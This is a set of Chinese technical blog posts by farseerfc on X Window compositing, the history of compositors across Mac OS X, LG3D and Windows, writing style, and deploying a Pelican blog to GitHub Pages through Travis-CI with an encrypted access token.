值得注意一點是 X 上除了沒有統一的繪圖模型,也沒有統一的矢量圖格式。 X 核心協議的繪圖原語提供的是像素單位的繪圖操作,沒有類似 GDI+ 或者 Quartz 提供的 設備無關(Device Independence) 的「點」的抽象。所以只用 X 的繪圖原語的話,我們可以把 (1,1) 這個像素點塗黑,但是不能把 (0.5, 0.5) 這個點塗黑,這一設計缺陷在 Unix Hater's Handbook 中已經被吐槽過了。因爲這個缺陷,所以直接用 X 繪圖原語繪製的圖像不能像 矢量圖那樣進行無損縮放。同樣的缺陷導致 X 繪圖原語繪製的字符不能做到 子像素級(subpixel-level) 抗鋸齒(anti-aliasing) (這解釋了默認配置下的 xterm 和 urxvt 中的字體渲染爲什麼難看 )。相比之下 GDI 有對應的 WMF 矢量圖格式, Quartz 有對應的 PDF 矢量圖格式, 而 X 中沒有這樣的格式對應。因爲沒有統一的矢量圖格式,所以無論是 Cairo 、QPaint 還是沒有用這些繪圖庫但是同樣在意字體和曲線渲染效果的程序(比如 Firefox 和 Chromium)都需要首先渲染到內部的 XPixMap 位圖格式,做好子像素渲染和矢量縮放,然後再把渲染好的位圖轉交給 X 圖形服務器。

通過 Composite 擴展重定向窗口輸出

2004年發佈的 X11R6.8 版本的 Xorg 引入了 Composite 擴展 。這個擴展背後的動機以及前因後果在一篇文章 The (Re)Architecture of the X Window System 中有詳細的表述。Composite 擴展允許某個 X 程序做這幾件事情:

  1. 通過 RedirectSubwindows 調用將一個窗口樹中的所有窗口渲染重定向到 內部存儲(off-screen storage) 。重定向的時候可以指定讓 X 自動更新窗口的內容到屏幕上或者由混成器手動更新。
  2. 通過 NameWindowPixmap 取得某個窗口的內部存儲。
  3. 通過 GetOverlayWindow 獲得一個特殊的用於繪圖的窗口, 在這個窗口上繪製的圖像將覆蓋在屏幕的最上面。
  4. 通過 CreateRegionFromBorderClip 取得某個窗口的邊界剪裁區域(不一定是矩形)。

有了 Composite 擴展,一個 X 程序就可以調用這些 API 實現混成器。 這裏有篇 教學解釋如何使用 Composite 擴展 。開啓了混成的 X 是這樣繪圖的:

ditaa diagram

整個 X 的混成器模型與 Mac OS X 的混成器模型相比,有如下幾點顯著的區別:

  1. 混成的部分是交由外部的程序完成的,對混成的繪製方式和繪製普通窗口一樣。 出於效率考慮,絕大多數 X 上的混成器額外使用了 XRender 擴展或者 OpenGL/EGL 來加速繪製貼圖。不過即使如此,還是不能避免同樣的位圖(內容不一定完全一致, 比如 X 可以在窗口交給它的位圖上加上邊框然後再返還給混成器) 在不同的三個程序之間來回傳遞
  2. RedirectSubwindows 調用針對的是一個窗口樹,換句話說是一個窗口 及其全部子窗口,不同於 Mac OS X 中混成器會拿到全部窗口的輸出。 這個特點其實並不算是限制,因爲 X 中每個虛擬桌面都有一個根窗口,只要指定這個根窗口 就可以拿到整個虛擬桌面上的全部可見窗口輸出了。 反而這個設計提供了一定的自由度,比如我們可以用這個調用實現一個截圖程序, 拿到某個特定窗口的輸出,而不用在意別的窗口。
  3. 爲了讓窗口有輸出,窗口必須顯示在當前桌面上,不能處於最小化 狀態或者顯示在別的虛擬桌面,用 X 的術語說就是窗口必須處於 被映射(mapped) 的狀態。因此直接用上述方法 不能得到沒有顯示的窗口的輸出 ,比如不能對最小化的窗口 直接實現 Windows 7 中的 Aero Peak 之類的效果。這個限制可以想辦法繞開, 比如在需要窗口輸出的時候臨時把窗口映射到桌面上,拿到輸出之後再隱藏起來, 不過要實現這一點需要混成器和窗口管理器相互配合。
  4. 不像 Mac OS X 的基於 OpenGL Surface 的繪圖模型是 設備無關(device independent) 的,這裏 X 的繪圖模型是 設備相關(device dependent) 的。 這既是優點也是缺點。從缺點方面而言,顯示到 X 的位圖輸出因爲設備相關性, 所以嚴格對應顯示器的點陣,並不適合作爲文檔格式打印出來。當然無論是 Cairo 還是 QPaint 都提供了到 PostScript 或者 PDF 後端的輸出,所以實用層面這個並不構成問題。 設備相關這一點的優點在於,繪製到 XPM 位圖的時候,程序和繪圖庫是能拿到輸出設備(顯示器) 的特殊屬性的,從而繪圖庫能考慮不同的色彩、分辨率、 DPI 或者 子像素佈局(subpixel layout) 這些屬性以提供最好的渲染效果。 Mac OS X 10.4 在設計的時候也曾考慮過提供無極縮放的支持,而這種支持到了 Mac OS X 10.5 中就縮水變成了 Retina 的固定 2 倍縮放。這種局面在 X 上沒有發生正是因爲 X 的繪圖模型的這種設備相關性,而 Mac OS X 的混成器採用的 OpenGL Surface 則無視了這些設備相關的屬性。

輸入事件的重定向,這可能做到麼?

通過上述 Composite 擴展提供的 API ,混成器可以把窗口的 輸出 重定向到自己的窗口上。 但是僅僅重定向輸出,整個 X 還不處於可用狀態,因爲 沒有重定向輸入 。 考慮一下用戶試圖用鼠標點擊某個按鈕或者文本框,這時鼠標處於的位置是在 OverlayWindow 上繪製的位置,這個鼠標事件會交給 OverlayWindow ,而用戶期待這個事件被發送給他看到的按鈕上。

需要重定向的事件主要有鍵盤和鼠標事件兩大類(暫時先不考慮觸摸屏之類的額外輸入)。 由於 Composite 擴展並沒有直接提供這方面的重定向 API ,這使得輸入事件處理起來都比較麻煩,

假設要重定向鍵盤事件,混成器需要效仿輸入法框架(fcitx, ibus, scim) 那樣處理一部分按鍵事件並把其餘事件轉給具有輸入焦點的程序。 看看現有的輸入法框架和諸多程序間的問題,我們就能知道這裏的坑有多深。 於是 大部分 X 的混成器都不處理鍵盤事件重定向 。再來看重定向鼠標事件,這邊的坑比重定向鍵盤事件的坑更多, 因爲不像重定向窗口輸出那樣只需要考慮 頂層(top-level) 窗口, 重定向鼠標輸入的時候要考慮所有子窗口(它們有獨立的事件隊列), 以及要準確記錄輸入事件事件發生時的鍵盤組合鍵狀態,還要正確實現 ICCCM/EWMH 中描述的轉交窗口焦點的複雜規則,所有這些都已經在 X 中實現過的事情需要重新實現一遍。

由於坑太多難以實現,所以所有 X 下的混成器的實現方式都是直接忽略這個繁重的任務, 不重定向輸入事件 而把它交給 X 處理。具體的實現方式就是通過 XFixes 擴展提供的 SetWindowShapeRegion API 將 OverlayWindow 的 輸入區域 ShapeInput 設爲空區域,從而忽略對這個 OverlayWindow 的一切鼠標鍵盤事件。 這樣一來對 OverlayWindow 的點擊會透過 OverlayWindow 直接作用到底下的窗口上。

因爲選擇了不重定向輸入事件, X 下的混成器通常會處於以下兩種狀態:

  1. 選擇狀態下可以縮放窗口的大小,扭曲窗口的形狀,並且可以把窗口繪製在任意想要繪製的位置上 (並不是移動窗口的位置), 但是不能讓用戶與窗口的內容交互
  2. 正常狀態下可以讓用戶與窗口的內容交互,但是 繪製的窗口位置、大小和形狀必須嚴格地和 X 記錄的窗口的位置、大小和形狀保持一致 。持續時間短暫的動畫效果可以允許位置和形狀稍有偏差,但是在動畫的過程中如果用戶點擊了 變形縮放過的窗口,那麼鼠標事件將發往錯誤的( X 記錄中的而非顯示出的)窗口元素上。

可以發現這兩種狀態就直接對應了 Gnome 3 的普通狀態和縮略圖狀態(點擊 活動(Activity) 或者戳畫面左上角之後顯示的狀態),這也解釋了爲什麼儘管 Gnome 3 的窗口有碩大的關閉按鈕,但是在縮略圖狀態下 Gnome 3 仍然需要給窗口加上額外的關閉按鈕: 因爲處於縮略狀態下的窗口只是一張畫而不能點

Composite 擴展的這些限制使得 X 下的混成器目前只能實現 Mac OS X 那樣的 Exposé 效果,而不能實現 LG3D 那樣直接在 3D 空間中操縱窗口內容。

解決重定向問題曾經的一縷曙光是 昇陽公司(Sun Microsystems) 在開發 LG3D 的過程中同時提議過另一個 X 擴展叫做 Event Interception 或者簡稱 XEvIE ,這個擴展的設計目的就是提供 API 讓某個程序接收並操縱全部的鍵盤和鼠標事件。可惜這個擴展隨着昇陽公司本身的隕落而 處於無人維護的狀態,這一點也在它的官方網頁上說明了:

It has been suggested that this extension should not be used because it is broken and maintainerless.

Composite 擴展的不足

通過上面的介紹,我們就已經可以看到 Composite 擴展的不足之處了。 總結起來說,主要有兩大不足:

  1. 繪圖效率低。因爲同樣的位圖從應用程序傳到 Xorg ,再從 Xorg 傳到混成器, 最後從混成器再繪製到屏幕上,繞了一個大彎。這就是爲什麼 Wayland 的開發者在他的slide the real story behind Wayland and X 裏這麼說:

    and what's the X server? really bad IPC

    那麼 X 服務器到底做了什麼呢? 非常糟糕的進程間通訊

  2. 沒有重定向輸入事件。如果我們要在 X 的混成器裏做這個事情, 基本上我們要全部重寫一遍 X 已經寫好的窗口事件分發邏輯。

既然同樣要重寫,爲什麼不直接重寫一遍 X 呢,扔掉那些歷史負擔,扔掉那些無用的 API ,重新設計可擴展的 API ,做好快速安全的 IPC —— 嗯,重寫 X 就是 Wayland 的目的。

不過這麼重寫了的 Wayland 還是我們熟悉可愛的 X 麼?它有哪些地方變樣了? 這將是我下一篇文章的內容。

附錄:擴展閱讀

我自己沒有寫過窗口管理器,沒有寫過混成器,沒有寫過 Wayland 程序,以上說的都是我從互聯網上看到的整理出來的內容。寫下本文的過程中我參考了這些文章:

The (Re)Architecture of the X Window System 這篇2004年寫的文章描述了 Composite 擴展出現的動機和歷史,介紹了繪圖庫的實現情況,涉及了上面所說的那些 X 擴展被用到的情況和可能。 同時這篇文章還展望了很多現在的 X 已然實現了的功能,比如 OpenGL 和 X 的結合方面我們有了 GLXAIGLX ,比如內核的顯卡支持方面我們有了 DRIKMS 。總之這是一篇描述 Linux 桌面未來的發展軌跡的非常有閱讀價值的歷史文獻。

so you want to build a compositor 這是一篇 2008 年寫的博文,介紹如何用 Clutter 實現一個最簡單的混成器。

Composite tutorial 這是另一篇介紹如何實現一個簡單的混成器的博文,用 Qt 實現,但是同樣很底層。

unagi 這是一個可用的(但是已經長期沒有開發的)類似 xcompmgr 的混成器。這個項目貌似 是一位研究生的碩士畢業設計,同時他公開了碩士學位的畢業論文 Master thesis: Writing an X compositing manager 其中也對實現一個簡單的混成器做了詳盡描述,包括介紹了相關的 X 擴展和調用。

by farseerfc at March 19, 2015 08:45 AM

桌面系統的混成器簡史

(原本是想寫篇關於 Wayland 的文章,後來越寫越長感覺能形成一個系列, 於是就先把這篇背景介紹性質的部分發出來了。)

Linux 系統上要迎來 Wayland 了,或許大家能從各種渠道打聽到 Wayland 是一個混成器,替代 X 作爲顯示服務器。 那麼 混成器 是個什麼東西,桌面系統爲什麼需要它呢? 要理解爲什麼桌面系統需要 混成器 (或者它的另一個叫法, 混成窗口管理器(Compositing Window Manager) ),在這篇文章中我想回顧一下歷史, 瞭解一下混成器出現的前因後果。

首先介紹一下混成器出現前主要的一類窗口管理器,也就是 棧式窗口管理器(Stacking Window Manager) 的實現方式。

本文中所有桌面截圖來自維基百科,不具有著作權保護。

早期的棧式窗口管理器

棧式窗口管理器的例子,Windows 3.11 的桌面
棧式窗口管理器的例子,Windows 3.11 的桌面

我們知道最初圖形界面的應用程序是全屏的,獨佔整個顯示器(現在很多遊戲機和手持設備的實現仍舊如此)。 所有程序都全屏並且任何時刻只能看到一個程序的輸出,這個限制顯然不能滿足人們使用計算機的需求, 於是就有了 窗口 的概念,有了 桌面隱喻

在 桌面隱喻(Desktop Metaphor) 中每個窗口只佔用顯示面積的一小部分, 有其顯示的位置和大小,可以互相遮蓋。於是棧式窗口管理器就是在圖形界面中實現桌面隱喻的核心功能, 其實現方式大體就是:給每個窗口一個相對的“高度”或者說“遠近”,比較高的窗口顯得距離用戶比較近, 會覆蓋其下比較低的窗口。繪圖的時候窗口管理器會從把窗口按高低排序,按照從低到高的順序使用 畫家算法 繪製整個屏幕。

這裏還要補充一點說明,在當時圖形界面的概念剛剛普及的時候,繪圖操作是非常“昂貴”的。 可以想象一下 800x600 像素的顯示器輸出下,每幀 真彩色 位圖就要佔掉 \(800 \times 600 \times 3 \approx 1.4 \text{MiB}\) 的內存大小,30Hz 的刷新率(也就是30FPS)下每秒從 CPU 傳往繪圖設備的數據單單位圖就需要 \(1.4 \times 30 = 41 \text{MiB}\) 的帶寬。對比一下當時的 VESA 接口 總的數據傳輸能力也就是 \(25 \text{MHz} \times 32 \text{bits} = 100 \text{MiB/s}\) 左右, 而 Windows 3.1 的最低內存需求是 1MB,對當時的硬件而言無論是顯示設備、內存或是CPU, 這無疑都是一個龐大的負擔。

於是在當時的硬件條件下採用棧式窗口管理器有一個巨大 優勢 :如果正確地採用畫家算法, 並且合理地控制重繪時 只繪製沒有被別的窗口覆蓋的部分 ,那麼無論有多少窗口互相 遮蓋,都可以保證每次繪製屏幕的最大面積不會超過整個顯示器的面積。 同樣因爲實現方式棧式窗口管理器也有一些難以迴避的 限制

  1. 窗口必須是矩形的,不能支持不規則形狀的窗口。
  2. 不支持透明或者半透明的顏色。
  3. 爲了優化效率,在縮放窗口和移動窗口的過程中,窗口的內容不會得到重繪請求, 必須等到縮放或者移動命令結束之後窗口纔會重繪。

以上這些限制在早期的 X11 窗口管理器比如 twm 以及 XP 之前經典主題的 Windows 或者經典的 Mac OS 上都能看到。 在這些早期的窗口環境中,如果你拖動或者縮放一個窗口,那麼將顯示變化後的窗口邊界, 這些用來預覽的邊界用快速的位圖反轉方式繪製。當你放開鼠標的時候纔會觸發窗口的 重繪事件。 雖然有很多方法或者說技巧能繞過這些限制,比如 Windows XP 上就支持了實時的 重繪事件和不規則形狀的窗口剪裁,不過這些技巧都是一連串的 hack ,難以擴展。

NeXTSTEP 與 Mac OS X 中混成器的發展

NeXTSTEP 桌面
NeXTSTEP 桌面

轉眼進入了千禧年, Windows 稱霸了 PC 產業,蘋果爲重振 Macintosh 請回了 Jobs 基於 NeXTSTEP 開發 Mac OSX 。

NeXTSTEP 在當時提供的 GUI 界面技術相比較於同年代的 X 和 Windows 有一個很特別的地方: 拖動滾動條或者移動窗口的時候,窗口的內容是 實時更新 的,這比只顯示一個縮放大小的框框來說被認爲更直觀。 而實現這個特性的基礎是在 NeXTSTEP 中運用了 Display PostScript (DPS) 技術,簡單地說,就是每個窗口並非直接輸出到顯示設備,而是把內容輸出到 (Display) PostScript 格式交給窗口管理器,然後窗口管理器再在需要的時候把 PostScript 用軟件解釋器解釋成位圖顯示在屏幕上。

ditaa diagram

比起讓窗口直接繪製,這種方案在滾動和移動窗口的時候不需要重新渲染保存好的 DPS , 所以能實現實時渲染。到了實現 Mac OS X 的時候,爲了同時兼容老的 Mac 程序 API (carbon) 以及更快的渲染速度,以及考慮到 Adobe 對蘋果收取的高昂的 Display PostScript 授權費, Mac OS X 的 Quartz 技術在矢量圖的 PDF 描述模型和最終渲染之間又插入了一層抽象:

ditaa diagram
Mission Control
Mission Control

也就是說在 Mac OS X 中無論窗口用何種方式繪圖,都會繪製輸出成一副內存中的位圖交給混成器, 而後者再在需要的時候將位圖混成在屏幕上。這種設計使得 2001年3月發佈的 Mac OS X v10.0 成爲了第一個廣泛使用的具有軟件混成器的操作系統。

到了 Mac OS X v10.2 的時候,蘋果又引入了 Quartz Extreme 讓最後的混成渲染這一步發生在 顯卡上。然後在 2003年1月公開亮相的 Mac OS X v10.3 中,他們公佈了 Exposé (後來改名爲 Mission Control) 功能,把窗口的縮略圖(而不是事先繪製的圖標)並排顯示在桌面上, 方便用戶挑選打開的窗口。

由於有了混成器的這種實現方式,使得可能把窗口渲染的圖像做進一步加工,添加陰影、三維和動畫效果。 這使得 Mac OS X 有了美輪美奐的動畫效果和 Exposé 這樣的方便易用的功能。 或許對於喬布斯而言,更重要的是因爲有了混成器,窗口的形狀終於能顯示爲他 夢寐以求圓角矩形 了!

插曲:曇花一現的 Project Looking Glass 3D

在蘋果那邊剛剛開始使用混成器渲染窗口的 2003 年,昔日的 昇陽公司(Sun Microsystems) 則在 Linux 和 Solaris 上用 Java3D 作出了另一個炫酷到沒有朋友的東西,被他們命名爲 Project Looking Glass 3D (縮寫LG3D,別和 Google 的 Project Glass 混淆呀)。這個項目的炫酷實在難以用言語描述, 好在還能找到兩段視頻展示它的效果。

LG3D
LG3D

如視頻中展示的那樣, LG3D 完全突破了傳統的棧式窗口管理方式, 在三維空間中操縱二維的窗口平面,不僅像傳統的窗口管理器那樣可以縮放和移動窗口, 還能夠旋轉角度甚至翻轉到背面去。從視頻中難以體會到的一點是, LG3D 在實現方式上與 Mac OS X 中的混成器有一個本質上的不同,那就是處於(靜止或動畫中)縮放或旋轉狀態 下的窗口是 可以接受輸入事件 的。這一重要區別在後面 Wayland 的說明中還會提到。 LG3D 項目展示了窗口管理器將如何突破傳統的棧式管理的框架,可以說代表了窗口管理器的未來發展趨勢。

LG3D 雖然以 GPL 放出了實現的源代碼,不過整個項目已經停滯開發許久了。 官方曾經放出過一個 預覽版的 LiveCD 。可惜時隔久遠(12年前了)在我的 VirtualBox 上已經不能跑起來這個 LiveCD 了……

更爲可惜的是,就在這個項目剛剛公開展示出來的時候,喬布斯就致電昇陽, 說如果繼續商業化這個產品,昇陽公司將涉嫌侵犯蘋果的知識產權 (時間順序上來看,蘋果最初展示 Exposé 是在 2003年6月23日的 Apple Worldwide Developers Conference ,而昇陽最初展示 LG3D 是在 2003年8月5日的 LinuxWorld Expo)。 雖然和喬布斯的指控無關,昇陽公司本身的業務也着重於服務器端的業務, 後來隨着昇陽的財政困難,這個項目也就停止開發並不了了之了。

Windows 中的混成器

Longhorn 中的 Wobbly 效果

上面說到, Windows 系列中到 XP 爲止都還沒有使用混成器繪製窗口。 看着 Mac OS X 上有了美輪美奐的動畫效果, Windows 這邊自然不甘示弱。 於是同樣在 2003 年展示的 Project Longhorn 中就演示了 wobbly 效果的窗口, 並且跳票推遲多年之後的 Windows Vista 中實現了完整的混成器 Desktop Window Manager (DWM) 。整個 DWM 的架構和 Mac OS X 上看到的很像:

ditaa diagram

和 Mac OS X 的情況類似, Windows Vista 之後的應用程序有兩套主要的繪圖庫,一套是從早期 Win32API 就沿用至今的 GDI(以及GDI+),另一套是隨着 Longhorn 計劃開發出的 WPF 。 WPF 的所有用戶界面控件都繪製在 DirectX 貼圖上,所以使用了 WPF 的程序也可以看作是 DirectX 程序。而對老舊的 GDI 程序而言,它們並不是直接繪製到 DirectX 貼圖的。首先每一個 GDI 的繪圖操作都對應一條 Windows Metafile (WMF) 記錄,所以 WMF 就可以看作是 Mac OS X 的 Quartz 內部用的 PDF 或者 NeXTSTEP 內部用的 DPS,它們都是矢量圖描述。隨後,這些 WMF 繪圖操作被通過一個 Canonical Display Driver (cdd.dll) 的內部組建轉換到 DirectX 平面,並且保存起來交給 DWM。最後, DWM 拿到來自 CDD 或者 DirectX 的平面,把它們混合起來繪製在屏幕上。

值得注意的細節是,WPF 底層的繪圖庫幾乎肯定有 C/C++ 綁定對應, Windows 自帶的不少應用程序 和 Office 2007 用了 Ribbon 之後的版本都採用這套繪圖引擎,不過微軟沒有公開這套繪圖庫的 C/C++ 實現的底層細節,而只能通過 .Net 框架的 WPF 訪問它。這一點和 OS X 上只能通過 Objective-C 下的 Cocoa API 調用 Quartz 的情況類似。

另外需要注意的細節是 DirectX 的單窗口限制在 Windows Vista 之後被放開了,或者嚴格的說是 基於 WDDM 規範下的顯卡驅動支持了多個 DirectX 繪圖平面。 在早期的 Windows 包括 XP 上,整個桌面上同一時刻只能有一個程序的窗口處於 DirectX 的 直接繪製 模式,而別的窗口如果想用 DirectX 的話,要麼必須改用軟件渲染要麼就不能工作。 這種現象可以通過打開多個播放器或者窗口化的遊戲界面觀察到。 而在 WDDM 規範的 Vista 中,所有窗口最終都繪製到 DirectX 平面上,換句話說每個窗口都是 DirectX 窗口。又或者我們可以認爲,整個界面上只有一個真正的窗口也就是 DWM 繪製的全屏窗口, 只有 DWM 處於 DirectX 的直接渲染模式下,而別的窗口都輸出到 DirectX 平面裏(可能通過了硬件加速)。

由 DWM 的這種實現方式,可以解釋爲什麼 窗口模式下的遊戲總是顯得比較慢 ,原因是整個桌面有很多不同的窗口都需要 DWM 最後混成,而如果在全屏模式下,只有遊戲 處於 DirectX 的直接渲染方式,從而不會浪費對遊戲而言寶貴的 GPU 資源。

由於 DWM 實現了混成器,使得 Vista 和隨後的 Windows 7 有了 Aero Glass 的界面風格, 有了 Flip 3D 、Aero Peek 等等的這些輔助功能和動畫效果。 這套渲染方式延續到 Windows 8 之後,雖然 Windows 8 還提出了 Modern UI 不過傳統桌面上的渲染仍舊是依靠混成器來做的。

這就結束了? Linux 桌面呢?

別急,我寫這些文章的目的是想聊聊 Linux 中的混成器,尤其是 X 下現有的混成器和 Wayland ,這篇文章只是個背景介紹。關於 X 中混成器的實現方式和限制,且聽我下回分解。

by farseerfc at March 19, 2015 04:45 AM

March 11, 2015

farseerfc

避免在博文中寫「簡單地」

我的 RSS 訂閱着一個博客叫 The Old New Thing ,作者是Windows開發者之一的 Raymond Chen ,記錄 Windows 中的很多有趣的技術細節。 這個博客中的一些精彩內容還被他寫成了一本書,中文名叫《Windows編程啓示錄》 (ISBN: 978-7-111-21919-4) 而英文書名就叫 The Old New Thing — Practical Development Throughout the Evolution of Windows (ISBN: 978-0-321-44030-3)。

今天看到這個博客的一篇文章說 你用「簡單地」次數越多我越懷疑你不懂這個詞的意思 , 描述他看到某個博客上指導讀者打開命令行、執行某條魔法命令、從命令輸出抽取參數、 改寫配置文件、用魔法命令重啓服務,並把這些工作描述爲「簡單地」。

的確正如 Raymond 指出,一個人覺得簡單的事情對別人並不一定是簡單的。 搜了一下我自己寫的東西,的確很多地方寫了「簡單」二字,這的確對讀者不友好。

從今往後避免用「簡單」來描述。

by farseerfc at March 11, 2015 01:00 PM

February 20, 2015

farseerfc

用 Travis-CI 生成 Github Pages 博客

2015年2月21日更新

上次介紹過 這個博客改換了主題 , 本以爲這個話題可以告一段落了,沒想到還能繼續寫呢。

寄宿在 Github Pages 上的靜態博客通常有兩種方案,其一是使用 Jekyll 方式撰寫,這可以利用 Github Pages 原本就有的 Jekyll支持 生成靜態網站。另一種是在 本地 也就是自己的電腦上生成好,然後把生成的 HTML 網站 push 到 Github Pages ,這種情況下 Github Pages 就完全只是一個靜態頁面宿主環境。

我用 Pelican 生成博客,當然就只能選擇後一種方式了。這帶來一些不便,比如本地配置 pelican 還是有一點點複雜的,所以不能隨便找臺電腦就開始寫博客。有的時候只是想修正一兩個錯別字, 這時候必須打開某臺特定的電腦纔能編輯博客就顯得不太方便了。再比如 pelican 本身雖然是 python 寫的所以跨平臺,但是具體到博客的配置方面, Windows 環境和 Linux/OSX/Unix-like 環境下還是有 些許出入 的。還有就是沒有像 wordpress 那樣的基於 web 的編輯環境,在手機上就不能隨便寫一篇博客發表出來(不知道有沒有勇士嘗試過在 Android 的 SL4A 環境下的 python 中跑 pelican ,還要配合一個 Android 上的 git 客戶端 )。

當然並不是因此就束手無策了,感謝 Travis-CI 提供了免費的 持续整合(Continuous integration) 虛擬機環境, 通過它全自動生成靜態博客成爲了可能。

關於 Travis-CI

持续整合 原本是 敏捷開發(Agile Development) 或者 極限編程(Extreme Programming) 中提到的概念,大意就是說在開發的過程中, 一旦有微小的變更,就全自動地 持續 合併到主線中, 整合 變更的內容到發佈版本裏。 這裏的 整合 實際上可以理解爲 全自動測試 加上 生成最終產品 。 可以看到 持續整合 實際強調 全自動 ,於是需要有一個服務器不斷地監聽主線開發的變更內容, 一旦有任何變更(可以理解爲 git commit )就自動調用測試和部署腳本。

於是要用持續整合就需要一個整合服務器,幸而 Travis-CI 對 github 上的公開 repo 提供了免費的整合服務器虛擬機服務,和 github 的整合非常自然。所以我們就可以用它提供的虛擬機 爲博客生成靜態網站。

啓用 Travis-CI 自動編譯

這一步很簡單,訪問 https://travis-ci.org/ 並用你的 Github 賬戶登錄, 授權它訪問你的賬戶信息就可以了。然後在 https://travis-ci.org/repositories 裏開啓 需要編譯的 repo ,這樣 Travis-CI 就會監視對這個 repo 的所有 push 操作,並且對 每個 push 調用測試了。

在 Travis-CI 中開啓對 Github Repo 的持續整合

在 Travis-CI 中開啓對 Github Repo 的持續整合

然後在 repo 的根目錄放一個 .travis.yml 文件描述編譯的步驟。 暫時 測試的目的下我寫的 .travis.yml 大概是下面這樣。

language: python

python:
    - "2.7"

before_install:
    - sudo apt-add-repository ppa:chris-lea/node.js -y
    - sudo apt-get update
    - sudo apt-get install nodejs ditaa doxygen parallel

install:
    - sudo pip install pelican
    - sudo pip install jinja2
    - sudo pip install babel
    - sudo pip install beautifulsoup4
    - sudo pip install markdown
    - sudo npm install -g less
    - wget "http://downloads.sourceforge.net/project/plantuml/plantuml.jar?r=&ts=1424308684&use_mirror=jaist" -O plantuml.jar
    - sudo mkdir -p /opt/plantuml
    - sudo cp plantuml.jar /opt/plantuml
    - echo "#! /bin/sh" > plantuml
    - echo 'exec java -jar /opt/plantuml/plantuml.jar "$@"' >> plantuml
    - sudo install -m 755 -D plantuml /usr/bin/plantuml
    - wget https://bintray.com/artifact/download/byvoid/opencc/opencc-1.0.2.tar.gz
    - tar xf opencc-1.0.2.tar.gz
    - cd opencc-1.0.2 && make && sudo make install && cd ..
    - sudo locale-gen zh_CN.UTF-8
    - sudo locale-gen zh_HK.UTF-8
    - sudo locale-gen en_US.UTF-8
    - sudo locale-gen ja_JP.UTF-8

script:
    - git clone --depth 1 https://github.com/farseerfc/pelican-plugins plugins
    - git clone --depth 1 https://github.com/farseerfc/pelican-bootstrap3 theme
    - mkdir output
    - env SITEURL="farseerfc.me" make publish

Travis-CI 提供的虛擬機是比較標準的 Ubuntu 12.04 LTS ,打上了最新的補丁,並且根據你指定的 語言選項會把相應的解釋器和編譯器升級到最新版(或者指定的版本)。這裏用 python 語言的配置, 所以 python 是 2.7 的最新版並且有 pip 可以直接用。 配置中的 before_install 和 install 的區別其實不大,其中任何一個失敗的話算作 build errored 而不是 build fail ,而如果在 script 裏失敗的話算作 build fail 。

爲了編譯我的模板,還需要比較新的 less.js ,所以添加了 ppa 裝了個最新的 nodejs 並用它裝上了 less 。 還從源碼編譯安裝上了最新版的 opencc 1.0.2 ,因爲 Ubuntu 源裏的 opencc 的版本比較老(0.4), 然後 doxygen 作爲 opencc 的編譯依賴也裝上了。 其它安裝的東西麼,除了 pelican 之外都是插件們需要的。以及我還需要生成 4 個語言的 locale 所以調用了 4 次 locale-gen 。由於是比較標準的 Ubuntu 環境,所以基本上編譯的步驟和在本地 Linux 環境中是一樣的,同樣的這套配置應該可以直接用於本地 Ubuntu 下編譯我的博客。

寫好 .travis.yml 之後把它 push 到 github ,然後 travis 這邊就會自動 clone 下來開始編譯。 travis 上能看到編譯的完整過程和輸出,一切正常的話編譯結束之後 build 的狀態就會變成 passing ,比如 我的這次的build

從 Travis-CI 推往 Github

上面的測試編譯通過了之後,下一步就是讓 travis-ci 編譯的結果自動推到 Github Pages 並發佈出來。要推往 Github 自然需要設置 Github 用戶的身份,在本地設置的時候是把 ssh key 添加到 github 賬戶就可以了,在編譯細節都通過 github repo 公開了的 travis 上 當然不能放推送用的私有 key ,所以我們需要另外一種方案傳遞密碼。

Github 上創建 Personal Access Token
Github 上創建 Personal Access Token

好在 Github 支持通過 Personal Access Token 的方式驗證,這個和 App Token 一樣可以隨時吊銷,同時完全是個人創建的。另一方面 Travis-CI 支持加密一些私密數據,通過環境變量的方式傳遞給編譯腳本,避免公開密碼這樣的關鍵數據。

首先創建一個 Personal Access Token ,這裏需要勾選一些給這個 Token 的權限,我只給予了最小的 public_repo 權限,如側邊裏的圖。 生成之後會得到一長串 Token 的散列碼。

如果你不能使用 travis 命令
2015年2月21日更新

使用 travis encrypt 命令來加密重要數據最方便,不過如果有任何原因, 比如 ruby 版本太低或者安裝不方便之類的,那麼不用擔心,我們直接通過 travis api 也能加密數據。

第一步用這個命令得到你的repo的 pubkey :

curl -H "Accept: application/vnd.travis-ci.2+json" https://api.travis-ci.org/repos/<github-id/repo>/key | python2 -m json.tool | grep key | sed 's/.*"key": "\(.*\)"/\1/' | xargs -0 echo -en | sed 's/ RSA//' > travis.pem

其中的 <github-id/repo> 替換成 github 上的 用戶名/repo名, 比如我的是 farseerfc/farseer 。travis api 獲得的結果是一個 json ,所以還用 python 的 json 模塊處理了一下,然後把其中包含 key 的行用 grep 提取出來,用 sed 匹配出 key 的字符串本身,然後 xargs -0 echo -en 解釋掉轉義字符,然後刪掉其中的 "<空格>RSA" 幾個字(否則 openssl 不能讀), 最後保存在名爲 travis.pem 的文件裏。

有了 pubkey 之後用 openssl 加密我們需要加密的東西並用 base64 編碼:

echo -n 'GIT_NAME="Jiachen Yang" GIT_EMAIL=farseerfc@gmail.com GH_TOKEN=<Personal Access Token>' | openssl rsautl -encrypt -pubin -inkey travis.pem | base64 -w0

替換了相應的身份信息和token之後,這行得到的結果就是 secure 裏要寫的加密過的內容。

然後我們需要 travis 命令來加密這個 token , archlinux 用戶可以安裝 aur/​ruby-travis ,其它用戶可以用 gems 安裝:

$ gem install travis

裝好之後,在設定了 Travis-CI 的 repo 的目錄中執行一下 travis status , 命令會指導你登錄 Travis-CI 並驗證 repo 。正常的話會顯示最新的 build 狀態。 然後同樣在這個 repo 目錄下執行:

$ travis encrypt 'GIT_NAME="Jiachen Yang" GIT_EMAIL=farseerfc@gmail.com GH_TOKEN=<Personal Access Token>'

當然上面一行裏的相應信息替換爲個人的信息,作爲這個命令的執行結果會得到另一長串散列碼, 把這串散列寫入剛纔的 .travis.yml 文件:

env:
    - secure: "long secure base64 string"

有了這段聲明之後, Travis-CI 就會在每次編譯之前,設置上面加密的環境變量。 然後在編譯腳本中利用這些環境變量來生成博客:

script:
    - git config --global user.email "$GIT_EMAIL"
    - git config --global user.name "$GIT_NAME"
    - git config --global push.default simple
    - git clone --depth 1 https://github.com/farseerfc/pelican-plugins plugins
    - git clone --depth 1 https://github.com/farseerfc/pelican-bootstrap3 theme
    - git clone --depth 1 https://$GH_TOKEN@github.com/farseerfc/farseerfc.github.io output
    - env SITEURL="farseerfc.me" make publish

after_success:
    - cd output
    - git add -A .
    - git commit -m "update from travis"
    - git push --quiet

